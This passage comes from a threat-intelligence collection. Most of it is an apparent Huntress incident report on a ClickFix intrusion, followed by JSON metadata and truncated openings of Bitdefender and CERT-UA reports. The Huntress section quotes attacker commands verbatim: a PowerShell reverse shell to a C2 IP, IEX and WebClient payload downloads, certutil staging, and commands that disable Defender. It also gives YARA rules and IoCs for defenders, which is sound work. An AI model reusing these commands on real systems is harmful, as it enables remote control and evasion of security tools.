from\n\nhxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe and reflectively load it in memory via\n\n[Reflection.Assembly]::Load, invoking the entry point with the ek_user client arguments to establish a reverse\n\nSOCKS tunnel to 213.165.41[.]26:22603.\n\nIt didn't work cleanly. The AMSI patch handled the PowerShell layer fine, but Defender's on-disk and in-memory\n\nscanning kept catching the Chisel binary. The first launch via Start-ProcessC:\\Windows\\Temp\\lQhEQui9a4lZ.exe\n\nPage 22 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\n-ArgumentList @('client','--auth','ek_user:S6YS0r55wH4U8Maa8joG','213.165.41[.]26:22603','R:47186:socks')\n\nwas quarantined immediately.\n\nThe attacker re-staged the binary using certutil (certutil -urlcache -split -f\n\nhxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe) and Defender quarantined it again. The opening script's policy\n\nwrites had set the right registry values, but Defender's runtime scanning was still very much alive, and Chisel was\n\na signatured binary it knew how to catch regardless of how the attacker tried to land it.\n\nAfter enough cycles of this, the attacker eventually succeeded in adding C:\\ProgramData\\p as an exclusion path,\n\nwhich gave them a persistent staging directory free from inspection. From there, they attempted a reflective in-\n\nmemory load of Chisel using [Byte[]]$b=(New-Object\n\nNet.WebClient).DownloadData('hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe');\n\n[Reflection.Assembly]::Load($b).EntryPoint.Invoke(...), though Defender still managed to flag the bundled\n\nCostura main.dll. The attacker then iterated through several payload variants out of their newly-protected staging\n\ndirectory, each one a different combination of the same building blocks. J6Gupb9TpYNI.ps1 wrote the Defender\n\nregistry policies and then downloaded Chisel to disk inside the exclusion folder before launching it hidden,\n\nO67tak2KFRmJ.ps1 stripped everything down to a minimal in-memory reflective load, and fsjH6IHuUkhh.ps1\n\nwas a near-duplicate of the original opening script (AMSI patch plus Defender policy writes plus reflective load) -\n\njust re-run from the protected directory. None of them got Chisel cleanly past Defender, so the attacker eventually\n\ngave up on a bypass and stopped the Defender service outright with Stop-Service WinDefend -Force; sc.exe\n\nconfig WinDefend start= disabled; sc.exe stop WinDefend. They confirmed the kill via (Get-\n\nMpComputerStatus).RealTimeProtectionEnabled, which is commonly run by attackers to check if Defender is\n\nactive or if the coast is clear. This is the kind of small touch that tells you a human is at the keyboard.\n\nContent of O67tak2KFRmJ.ps1:\n\nLoading Gist...\n\nWith Defender out of the way, the operator ran additional reconnaissance, executing the same checks twice. They\n\npulled InstalledUICulture, Win32_VideoController, SecurityCenter2 AntivirusProduct,\n\nWin32_ComputerSystem.Domain, and Win32_ComputerSystem.PartOfDomain. They also went looking for\n\nScreenConnect or ConnectWise installations using Get-WmiObject Win32_Product | Where-Object { $_.Name -\n\nlike *cons* }, which is a common precursor to abusing RMM software for follow-on access.\n\nPersistence followed quickly. The first mechanism was a scheduled task to retrieve and execute EtherRAT called\n\nmsiInstall2, created with schtasks /create /tn msiInstall2 /tr \"msiexec.exe /i\n\nhxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart /l*v C:\\ProgramData\\p\\msi.log\" /sc once /st 00:00\n\n/ru SYSTEM /f \u0026\u0026 schtasks /run /tn msiInstall2, which Defender quarantined from\n\nC:\\Windows\\System32\\Tasks\\msiInstall2. The attacker then established a second scheduled task named ekShell2\n\npointing at C:\\ProgramData\\p\\yH88LG8yCOnU.ps1. The script is a reverse shell, a loop that opened a TCP\n\nconnection to 77.110.122[.]58:43301, spawned a hidden powershell.exe -nop -ep bypass child process, and\n\nbridged the socket to the process's standard input, output, and error streams. Commands read off the wire got\n\npiped into PowerShell's stdin, and output and error streams got read back through a 4 KB buffer and written out to\n\nPage 23 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nthe socket. If the connection ever dropped or the PowerShell child exited, the script slept 30 seconds and\n\nreconnected.\n\nContent of yH88LG8yCOnU.ps1:\n\nLoading Gist...\n\nLater in the same session on this host, the attacker pulled out the heavyweight Defender disable. They first ran\n\nek_disable_av.ps1, a quick policy-and-service kill that wrote the standard DisableAntiSpyware /\n\nDisableRealtimeMonitoring / DisableIOAVProtection / DisableBehaviorMonitoring / DisableOnAccessProtection\n\nregistry values, then stopped and disabled the WinDefend service.\n\nContent of ek_disable_av.ps1:\n\nLoading Gist...\n\nWhen that wasn't enough, they followed up with ek_kill_av.ps1, a more comprehensive script that layered three\n\ndifferent disable techniques on top of each other: the full set of Defender registry policies (this version adding\n\nDisableAntiVirus, DisableScanOnRealtimeEnable, and DisableScriptScanning), the runtime Set-MpPreference -\n\nDisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -\n\nDisableScriptScanning $true -DisableBehaviorMonitoring $true -MAPSReporting Disabled -\n\nSubmitSamplesConsent NeverSend toggles, and direct service kills of WinDefend, wscsvc (Windows Security\n\nCenter), and SecurityHealthService via both Stop-Service and sc.exe. The redundancy is the point: anywhere\n\nDefender or its supporting services could come back up, the script slammed the door from a different direction.\n\nContent of ek_kill_av.ps1:\n\nLoading Gist...\n\nThey then ran ek_full.ps1, which performed the same registry-based Defender disable, slept five seconds to let the\n\nchanges settle, and called msiexec /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart. This is the\n\nMSI that drops EtherRAT, and we saw the loader land on this host shortly after, with the now-familiar conhost --\n\nheadless wrapping a clean Node.js runtime against an encoded .ini payload: conhost --headless\n\n“C:\\Users\\Administrator\\AppData\\Local\\FdgW2ni2h0it\\sq8whb\\node.exe”\n\n“C:\\Users\\Administrator\\AppData\\Local\\FdgW2ni2h0it\\EkYqfsgfyz.ini”. Persistence was registered under the\n\nuser Run key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\EdgeUpdate, masquerading as a\n\nbenign Edge auto-updater entry. This is the same EtherRAT loader pattern that ended up across the rest of the\n\nnetwork through the lateral SMBExec spray, with the same EdgeUpdate Run key fingerprint on every host where\n\nthe MSI landed. The only difference here was the delivery path: the attacker had the hands-on-keyboard foothold\n\non this server and could run the MSI installer directly, rather than relying on SMBExec to push it onto a remote\n\nhost.\n\nContent of ek_full.ps1:\n\nLoading Gist...\n\nPage 24 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nAfter landing the MSI, they staged second-wave activity from a new C2 port using IEX(New-Object\n\nNet.WebClient).DownloadString(\"hxxp://77.110.122[.]58:44479/bjxxUmG8K3uy.ps1\"), and redeployed Chisel\n\nwith a new authentication string. The first attempt ran Chisel as client 77.110.122[.]58:24954 R:socks with no\n\nauth at all, and shortly after they re-ran it with client --auth\n\nz9zkKCom6W2A3ptu6NXKYAK8:z9zkKCom6W2A3ptu6NXKYAK8 77.110.122[.]58:24954 R:socks.\n\nThe picture on the domain controller looked different. The attacker reached it over WMIExec using both a\n\ncompromised user account and the domain Administrator, dropping encoded PowerShell loaders that pulled\n\neCJam6D193GE.ps1 and RtPnuIz7RwPU.ps1 from 77.110.122[.]58:44479. From there they switched to\n\nSMBExec, falling back into the same pattern we saw previously: a SYSTEM-context cmd.exe would write a\n\npayload into a batch file under C:\\Windows\\TEMP\\, run it, and delete it in one chained command. The first thing\n\nthey ran through this wrapper was a simple whoami redirected to \\\\\u003credacted\u003e\\C$\\HOghqs, just a sanity check\n\nthat the channel worked. The next thing was a persistent PowerShell reverse shell pointed at\n\n77.110.122[.]58:18696, staged through the same SMBExec wrapper:\n\nC:\\Windows\\system32\\cmd.exe /Q /c echo powershell -w hidden -nop -c \"while($true){try{$c=New-Object\n\nNet.Sockets.TCPClient(\\\"77.110.122[.]58\\\",18696);$s=$c.GetStream();$w=New-Object\n\nIO.StreamWriter($s);$w.AutoFlush=$true;$r=New-Object IO.StreamReader($s);while($c.Connected)\n\n{$w.Write(\\\"PS\u003e \\\");$l=$r.ReadLine();if($l -eq \\\"exit\\\"){break};try{$o=(iex $l 2\u003e\u00261|Out-\n\nString);$w.Write($o)}catch{$w.Write($_.ToString())}}}catch{Start-Sleep 10}}\" ^\u003e \\\\WHCAD\\C$\\dYWxOl\n\n2^\u003e^\u00261 \u003e C:\\Windows\\TEMP\\IHYLqc.bat \u0026 C:\\Windows\\system32\\cmd.exe /Q /c\n\nC:\\Windows\\TEMP\\IHYLqc.bat \u0026 C:\\Windows\\system32\\cmd.exe /Q /c del C:\\Windows\\TEMP\\IHYLqc.bat.\n\nThe PowerShell loop above opens a TCP socket to the attacker's C2, writes a PS\u003e prompt over the wire so the\n\noperator sees an interactive shell feel on their end, reads commands line-by-line from the socket, executes each\n\none through Invoke-Expression (with stderr redirected back through the same channel via 2\u003e\u00261), and writes the\n\noutput back over the socket. The outer while($true) and catch{Start-Sleep 10} keep it alive: if the C2 is\n\nunreachable, it sleeps 10 seconds and retries; if an active connection drops mid-session, it reconnects immediately.\n\nThe DC also picked up the EtherRAT loader in both contexts. The Node.js loader landed under\n\nC:\\Users\\Administrator\\AppData\\Local\\FdgW2ni2h0it\\sq8whb\\node.exe running as the domain Administrator,\n\nand again under C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\FdgW2ni2h0it\\sq8whb\\node.exe\n\nrunning as SYSTEM. Both pointed at the same encoded .ini payload at EkYqfsgfyz.ini, both persisted via the\n\nEdgeUpdate Run key, and both wrapped in conhost --headless.\n\nFrom here, the attacker shifted from one-off WinRM and WMIExec sessions into bulk lateral movement via\n\nSMBExec. The pattern was unmistakable: a SYSTEM-context cmd.exe would echo a command into a randomly-\n\nnamed batch file under C:\\Windows\\TEMP\\, execute it, and immediately delete it, all wrapped in a single\n\ncommand line like C:\\Windows\\system32\\cmd.exe /Q /c echo cmd /c msiexec /i\n\n\\\\77.110.122[.]58\\ADMIN$\\Temp\\EGGjVyW9Uloz.msi /qn ^\u003e \\\\\u003cHOST\u003e\\C$\\\u003c8chars\u003e 2^\u003e^\u00261 \u003e\n\nC:\\Windows\\TEMP\\\u003c6chars\u003e.bat \u0026 C:\\Windows\\system32\\cmd.exe /Q /c C:\\Windows\\TEMP\\\u003c6chars\u003e.bat \u0026\n\nC:\\Windows\\system32\\cmd.exe /Q /c del C:\\Windows\\TEMP\\\u003c6chars\u003e.bat. The echo-to-bat-then-delete signature,\n\ncombined with output redirection back to \\\\\u003cHOST\u003e\\C$\\\u003c8chars\u003e, is Impacket's smbexec.py behaving exactly as\n\nPage 25 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\ndocumented. The payload in every case was the same MSI, EGGjVyW9Uloz.msi, pulled from the attacker's own\n\nADMIN$\\Temp share on 77.110.122[.]58.\n\nUnfortunately, we weren't able to retrieve EGGjVyW9Uloz.msi itself, so the contents and exact execution chain\n\nremain unconfirmed. What we did observe, on several of the hosts touched during the lateral spread, was a\n\nNode.js loader staged into\n\nC:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\FdgW2ni2h0it\\sq8whb\\node.exe, configured to\n\nexecute against an encoded .ini payload at\n\nC:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\FdgW2ni2h0it\\EkYqfsgfyz.ini. Persistence was set\n\nvia a Run key named EdgeUpdate and execution was wrapped in conhost --headless. This is the same EtherRAT\n\nloader pattern we documented on patient zero, just with a different folder name, .ini filename, and Run key value\n\n(EdgeUpdate instead of WindowsHost). The structural fingerprint of the loader, a clean signed node.exe paired\n\nwith an encrypted .ini payload and persistence via a benign-sounding Run key, was identical wherever it landed.\n\nWhether the MSI dropped EtherRAT directly or went through an intermediate stage we couldn't recover, the end\n\nstate on the affected hosts was the same family we'd already seen on patient zero.\n\nAll of this activity unfolded before the Huntress agent was officially installed on the affected endpoints. Once the\n\nagent service was running and telemetry began flowing in, the Huntress SOC was able to lock the system down\n\nand begin remediation.\n\nConclusion\n\nThis case illustrates what happens when a ClickFix infection goes undetected. What started as a single user\n\nrunning a pasted command escalated into a multi-stage intrusion involving two custom malware families, a\n\nblockchain-resolved backdoor, and hands-on lateral movement across over 11 hosts.\n\nPotemkin handled delivery - a minimal loader whose only job was to fetch and reflectively load a module from the\n\nC2. RMMProject handled operations - a Lua-scriptable framework with browser theft, remote desktop, process\n\ninjection, and runtime module loading. EtherRAT handled resilience - a blockchain-anchored backdoor that could\n\nsurvive domain takedowns. A renamed Cloudflare tunnel gave the attacker persistent remote access to the internal\n\nnetwork. And the hands-on-keyboard work handled expansion - WMIExec and SMBExec to push the MSI\n\ninstaller across the network, scheduled tasks and Run keys for persistence, and Chisel tunnels for SOCKS proxy\n\naccess.\n\nThe attacker likely had hours of unobserved access to establish Potemkin, deploy EtherRAT, set up a Cloudflare\n\ntunnel, and begin lateral movement, all before telemetry existed to detect any of it. Once the Huntress agent was\n\ninstalled and visibility came online, the SOC was able to lock things down, but the damage window was entirely\n\ndetermined by how long that initial endpoint went unwatched.\n\nConsider what remediation looks like once an intrusion like this has had time to spread. Across over 11 hosts, the\n\nanalyst is now hunting for Run keys under multiple user profiles and SYSTEM context, scheduled tasks with\n\nrandomized names, Defender exclusion paths and registry policy overrides, Cloudflare tunnel binaries renamed to\n\nblend in with Windows processes, EtherRAT loaders with per-host randomized directory names, and a blockchain-\n\nPage 26 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nresolved C2. Every host needs to be individually swept because the persistence artifacts vary - different folder\n\nnames, different .ini filenames, different Run key values.\n\nThat's the cost of a late start. An endpoint agent on that first machine catches the ClickFix payload at execution,\n\nbefore any of this sprawl exists, and the remediation is one host instead of eleven. Coverage gaps are not\n\ntheoretical risks, they are the room attackers need to turn a single ClickFix prompt into a network-wide\n\ncompromise and the difference between a one-hour cleanup and a week-long engagement.\n\nRecommendation\n\nThe single most impactful thing that could have changed the outcome of this case was monitoring the\n\nendpoint where it started. The attacker likely had hours of uncontested access on an unmonitored machine\n\nbefore telemetry existed anywhere in the environment. Audit your fleet for gaps - workstations, servers,\n\nand any machine with network access should have an endpoint agent.\n\nThe attacker renamed cloudflared to svchost.exe and used a quick tunnel to expose an internal service to\n\nthe internet. Alert on cloudflared or renamed copies of it running.\n\nThe most direct mitigation is disabling the Windows Run dialog via Group Policy, which also disables the\n\nWin+R hotkey. ClickFix attacks depend on the user pasting a command into this dialog - if it doesn't open,\n\nthe attack fails at step one.\n\nUse tamper protection where available, and monitor for Stop-Service WinDefend, sc.exe config\n\nWinDefend start= disabled, and bulk Add-MpPreference -ExclusionPath commands as high-fidelity alerts.\n\nDetection\n\nYara\n\nPotemkin loader:\n\nrule PotemkinLoader {\n\nmeta:\n\nauthor = \"RussianPanda\"\n\ndescription = \"Detects Potemkin Loader\"\n\ndate = \"6/4/2026\"\n\nhash = \"2abe5dd3a057fdef935722e50e\n\n9251c272d29fd26113187b853a1f9a9cb89d9b\"\n\nstrings:\n\n$s1 = \"[Agent] DLL returned (updatedll), reloading...\"             ascii\n\n$s2 = \"dll_debug.log\" ascii\n\n$s3 = \"[Agent] LoadAndRunDLL=\" ascii\n\ncondition:\n\nuint16(0) == 0x5A4D and all of ($s*)\n\n}\n\nPage 27 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nRMMProject:\n\nrule RMMProject {\n\nmeta:\n\nauthor = \"RussianPanda\"\n\ndescription = \"Detects RMMProject RAT\"\n\ndate = \"6/4/2026\"\n\nhash = \"3b7ae925e2d64522b4f69b56285b0\n\n5aeca8c5aab5ab46a9c02c4fafb69d881ce \"\n\nstrings:\n\n$s1 = \"[RTSC] OpenInputSocket: sending session_id=\" ascii\n\n$s2 = \"kCookies: total_cookies=\" ascii\n\n$s3 = \"GetChromiumKey\" ascii\n\ncondition:\n\nuint16(0) == 0x5A4D and all of ($s*)\n\n}\n\nIndicators of Compromise (IoCs)\n\nIndicator\n\nRunSearch.exe\n\nSHA256:\n\n2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b\n\navast_update.bin\n\nSHA256:\n\n3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce\n\nABE helper DLL\n\nSHA256:\n\ncd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145\n\nPage 28 of 31\n\nDescription\n\nPotemkin Loader\n\nRMMProject\n\nDLL embedded inside\n\nRMMProject. Injected into a\n\nspawned Chrome/Edge\n\nprocess to decrypt App-\n\nBound Encryption cookie\n\nkeys via Chrome's IElevator\n\nCOM interface.\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\ninst24.msi\n\nSHA256:\n\n79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b\n\ncons_1.0.1.msi\n\nSHA256:\n\n2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc30d0b0ce3a\n\n77.110.122[.]58\n\n213.165.41[.]26\n\nC:\\Windows\\Temp\\D0OK1nWwId9W.ps1\n\nC:\\Windows\\Temp\\lQhEQui9a4lZ.exe\n\nC:\\ProgramData\\p\\O67tak2KFRmJ.ps1\n\nC:\\ProgramData\\p\\J6Gupb9TpYNI.ps1\n\nC:\\ProgramData\\p\\fsjH6IHuUkhh.ps1\n\nC:\\ProgramData\\p\\ek_full.ps1\n\nC:\\ProgramData\\p\\ek_kill_av.ps1\n\nPage 29 of 31\n\nMSI installer that drops\n\nPotemkin loader\n\nDelivers EtherRAT\n\nPrimary C2 / staging\n\nChisel reverse SOCKS\n\nserver\n\nFirst malicious PS dropped\n\n(content unrecovered)\n\nChisel client\n\nIn-memory reflective loader\n\nPowerShell script to\n\ndownload the Chisel client\n\nAMSI bypass + Defender\n\nregistry policy disable +\n\nreflective Chisel load\n\nRegistry-based Defender\n\ndisable script\n\nDefender kill: registry\n\npolicies, Set-MpPreference\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nC:\\ProgramData\\p\\ek_disable_av.ps1\n\nC:\\ProgramData\\p\\yH88LG8yCOnU.ps1\n\n0xb3f2897f2bc797e5b9033faef8c81e92b01cb831\n\n0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893\n\nab653feb-9e78-4578-87ed-2e30329fe858\n\nsonra.eutialyson[.]com\n\ncl.distritovagas[.]com\n\nanus-staylard[.]xyz\n\nresumeacceptable[.]com\n\n%LOCALAPPDATA%\\hyper-v.ver\n\nPage 30 of 31\n\ntoggles, and direct service\n\nstops of WinDefend,\n\nwscsvc, and\n\nSecurityHealthService.\n\nDefender disable script\n\nReverse shell: loops a TCP\n\nconnection to\n\n77.110.122[.]58:43301,\n\nbridges it to a hidden\n\npowershell.exe process, and\n\nreconnects every 30 seconds\n\nif the connection drops.\n\nEthereum contract\n\nStorage key\n\nEtherRAT build ID\n\nMSI download domain\n\nClickFix HTA domain\n\nC2 domain for Potemkin\n\nand RMMProject\n\nEtherRAT C2 resolved from\n\nblockchain\n\nPotemkin UUID file\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\n%TEMP%\\dll_debug.log Potemkin debug log\n\nSource: https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nPage 31 of 31","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack"],"report_names":["potemkin-loader-rmmproject-clickfix-attack"],"threat_actors":[{"id":"9f101d9c-05ea-48b9-b6f1-168cd6d06d12","created_at":"2023-01-06T13:46:39.396409Z","updated_at":"2026-08-01T02:00:03.528896Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["BountyGlad","CHROMIUM","ControlX","TAG-22","RedHotel","Red Scylla","BRONZE UNIVERSITY","AQUATIC PANDA","Red Dev 10","Charcoal Typhoon"],"source_name":"MISPGALAXY:Earth Lusca","tools":["ShadowPad","POISONPLUG","Barlaiy","Spyder","FunnySwitch","RouterGod","SprySOCKS"],"source_id":"MISPGALAXY","reports":null},{"id":"d9b39228-0d9d-4c1e-8e39-2de986120060","created_at":"2023-01-06T13:46:39.293127Z","updated_at":"2026-08-01T02:00:03.473224Z","deleted_at":null,"main_name":"BelialDemon","aliases":["Matanbuchus"],"source_name":"MISPGALAXY:BelialDemon","tools":[],"source_id":"MISPGALAXY","reports":null},{"id":"18a7b52d-a1cd-43a3-8982-7324e3e676b7","created_at":"2025-08-07T02:03:24.688416Z","updated_at":"2026-08-01T02:00:03.804218Z","deleted_at":null,"main_name":"BRONZE UNIVERSITY","aliases":["Aquatic Panda","Aquatic Panda ","CHROMIUM","CHROMIUM ","Charcoal Typhoon","Charcoal Typhoon ","Earth Lusca","Earth Lusca ","FISHMONGER ","Red Dev 10","Red Dev 10 ","Red Scylla","Red Scylla ","RedHotel","RedHotel ","Tag-22","Tag-22 "],"source_name":"Secureworks:BRONZE UNIVERSITY","tools":["Cobalt Strike","Fishmaster","FunnySwitch","Spyder","njRAT"],"source_id":"Secureworks","reports":null},{"id":"6abcc917-035c-4e9b-a53f-eaee636749c3","created_at":"2022-10-25T16:07:23.565337Z","updated_at":"2026-08-01T02:00:07.298482Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["Bronze University","Charcoal Typhoon","Chromium","G1006","Red Dev 10","Red Scylla"],"source_name":"ETDA:Earth Lusca","tools":["Agentemis","AntSword","BIOPASS","BIOPASS RAT","BadPotato","Behinder","BleDoor","Cobalt Strike","CobaltStrike","Doraemon","FRP","Fast Reverse Proxy","FunnySwitch","HUC Port Banner Scanner","KTLVdoor","Mimikatz","NBTscan","POISONPLUG.SHADOW","PipeMon","RbDoor","RibDoor","RouterGod","SAMRID","ShadowPad Winnti","SprySOCKS","WinRAR","Winnti","XShellGhost","cobeacon","fscan","lcx","nbtscan"],"source_id":"ETDA","reports":null},{"id":"d53593c3-2819-4af3-bf16-0c39edc64920","created_at":"2022-10-27T08:27:13.212301Z","updated_at":"2026-08-01T02:00:04.535191Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["Earth Lusca","TAG-22","Charcoal Typhoon","CHROMIUM","ControlX"],"source_name":"MITRE:Earth Lusca","tools":["Mimikatz","PowerSploit","Tasklist","certutil","Cobalt Strike","Winnti for Linux","Nltest","NBTscan","ShadowPad"],"source_id":"MITRE","reports":null}],"ts_created_at":1785463368,"ts_updated_at":1785549728,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/04c05125e04fd02e69ea55921fe79a824f413540.pdf","text":"https://archive.orkl.eu/04c05125e04fd02e69ea55921fe79a824f413540.txt","img":"https://archive.orkl.eu/04c05125e04fd02e69ea55921fe79a824f413540.jpg"}},{"id":"9b15391f-c431-4924-90d9-6a8318ed3b2d","created_at":"2026-07-31T02:02:29.184171Z","updated_at":"2026-08-01T02:02:48.529169Z","deleted_at":null,"sha1_hash":"39e53915de468512258066c3ae2875770bd68c45","title":"Inexsmar: An unusual DarkHotel campaig","llm_title":"","authors":"Bitdefender","file_creation_date":"2017-07-18T15:29:48Z","file_modification_date":"2017-07-18T15:30:03Z","file_size":8946977,"plain_text":"Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors\n\nand reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security\n\nprovider in virtualization and cloud technologies. Through R\u0026D, alliances and partnership teams, Bitdefender has elevated the highest standards of security\n\nexcellence in both its number-one-ranked technology and its strategic alliances with the world’s leading virtualization and cloud technology providers. More\n\ninformation is available at\n\nhttp://www.bitdefender.com/\n\nAll Rights Reserved. © 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.  \nFOR MORE INFORMATION VISIT: enterprise.bitdefender.com\n\ncrea1572\n\nBD-Business-Jul.18.2017-Tk#:","extraction_quality":1,"language":"EN","sources":["APTnotes","CyberMonitor"],"origins":["web","pdf"],"references":["https://app.box.com/s/mlbeyha2vu6a5b8ystgdk6fdew4f6r98","https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/master/2017/2017.07.18.Inexsmar/Bitdefender-Whitepaper-Inexsmar-A4-en-EN.pdf"],"report_names":["Bitdefender_Whitepaper-Inexsmar-A4-en-EN(07-18-2017)","Bitdefender-Whitepaper-Inexsmar-A4-en-EN"],"threat_actors":[{"id":"1dadf04e-d725-426f-9f6c-08c5be7da159","created_at":"2022-10-25T15:50:23.624538Z","updated_at":"2026-08-01T02:00:04.558852Z","deleted_at":null,"main_name":"Darkhotel","aliases":["Darkhotel","DUBNIUM","Zigzag Hail"],"source_name":"MITRE:Darkhotel","tools":null,"source_id":"MITRE","reports":null},{"id":"b13c19d6-247d-47ba-86ba-15a94accc179","created_at":"2024-05-01T02:03:08.149923Z","updated_at":"2026-08-01T02:00:03.828635Z","deleted_at":null,"main_name":"TUNGSTEN BRIDGE","aliases":["APT-C-06 ","ATK52 ","CTG-1948 ","DUBNIUM ","DarkHotel ","Fallout Team ","Shadow Crane ","Zigzag Hail "],"source_name":"Secureworks:TUNGSTEN BRIDGE","tools":["Nemim","Tapaoux"],"source_id":"Secureworks","reports":null},{"id":"2b4eec94-7672-4bee-acb2-b857d0d26d12","created_at":"2023-01-06T13:46:38.272109Z","updated_at":"2026-08-01T02:00:03.104669Z","deleted_at":null,"main_name":"DarkHotel","aliases":["Shadow Crane","Zigzag Hail","Karba","APT-C-06","G0012","DUBNIUM","Fallout Team","Luder","TUNGSTEN BRIDGE","T-APT-02","ATK52","Nemim","Nemin","Tapaoux","SIG25"],"source_name":"MISPGALAXY:DarkHotel","tools":[],"source_id":"MISPGALAXY","reports":null},{"id":"c0cedde3-5a9b-430f-9b77-e6568307205e","created_at":"2022-10-25T16:07:23.528994Z","updated_at":"2026-08-01T02:00:07.275949Z","deleted_at":null,"main_name":"DarkHotel","aliases":["APT-C-06","ATK 52","CTG-1948","Dubnium","Fallout Team","G0012","G0126","Higaisa","Luder","Operation DarkHotel","Operation Daybreak","Operation Inexsmar","Operation PowerFall","Operation The Gh0st Remains the Same","Purple Pygmy","SIG25","Shadow Crane","T-APT-02","TieOnJoe","Tungsten Bridge","Zigzag Hail"],"source_name":"ETDA:DarkHotel","tools":["Asruex","DarkHotel","DmaUp3.exe","GreezeBackdoor","Karba","Nemain","Nemim","Ramsay","Retro","Tapaoux","Trojan.Win32.Karba.e","Virus.Win32.Pioneer.dx","igfxext.exe","msieckc.exe"],"source_id":"ETDA","reports":null}],"ts_created_at":1785463349,"ts_updated_at":1785549768,"ts_creation_date":1500391788,"ts_modification_date":1500391803,"files":{"pdf":"https://archive.orkl.eu/39e53915de468512258066c3ae2875770bd68c45.pdf","text":"https://archive.orkl.eu/39e53915de468512258066c3ae2875770bd68c45.txt","img":"https://archive.orkl.eu/39e53915de468512258066c3ae2875770bd68c45.jpg"}},{"id":"bdfbbed3-9ae5-4be9-87c7-cff197f07016","created_at":"2026-07-31T02:02:14.817033Z","updated_at":"2026-08-01T02:02:09.828482Z","deleted_at":null,"sha1_hash":"e557448d4f67e12c6427dd89258b166a91b04ba7","title":"UAC-0056 cyberattack on Ukrainian authorities using GraphSteel and GrimPlant malware","llm_title":"","authors":"CERT_UA","file_creation_date":"2022-04-01T13:59:56Z","file_modification_date":"2022-04-01T13:59:56Z","file_size":1443077,"plain_text":"CERT-UA\n\ncert.gov.ua/article/38374\n\ngeneral information\n\nThe Governmental Computer Emergency Response Team of Ukraine CERT-UA received\n\ninformation on the distribution of e-mails on the topic \"Wage arrears\" among government\n\nagencies of Ukraine. Attached to the letter is the document \"Wage arrears.xls\", which\n\ncontains legitimate statistics and macros. At the same time, hex-coded data has been added\n\nto the mentioned document as an attachment. The macro, after activation, will decode the\n\ndata, create the EXE-file \"Base-Update.exe\" on the computer and execute it.\n\nThis file is a downloader developed using the GoLang programming language. The program\n\nwill download and run another bootloader, which, in turn, will download and run malware\n\nGraphSteel and GrimPlant on your computer.\n\nThe detected activity is associated with the activity of the group UAC-0056.\n\nIndicators of compromise\n\nFiles:\n\nda305627acf63792acb02afaf83d94d1 \nc1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls \n06124da5b4d6ef31dbfd7a6094fc52a6 \n9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe \n(GoDownloader) \n36ff9ec87c458d6d76b2afbd5120dfae \n8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1 java-sdk.exe \n(GoDownloader) \n4a5de4784a6005aa8a19fb0889f1947a \n99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-java.exe \n(GrimPlant) \n6b413beb61e46241481f556bb5cdb69c \nc83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3 microsoft-\ncortana.exe (GraphSteel) (2022-03-20)\n\nNetwork:\n\nhxxp: // 194 [.] 31.98.124: 443 / i \nhxxp: // 194 [.] 31.98.124: 443 / p \nhxxp: // 194 [.] 31.98.124: 443 / m \nws: // 194 [.] 31.98.124: 443 / c \n194 [.] 31.98.124\n\n1/2\n\nHosts:\n\n% TMP% \\ Base-Update.exe \n% USERPROFILE% \\. Java-sdk \\ java-sdk.exe \n% USERPROFILE% \\. Java-sdk \\ oracle-java.exe \n% USERPROFILE% \\. Java-sdk \\ microsoft-cortana.exe\n\nGraphic 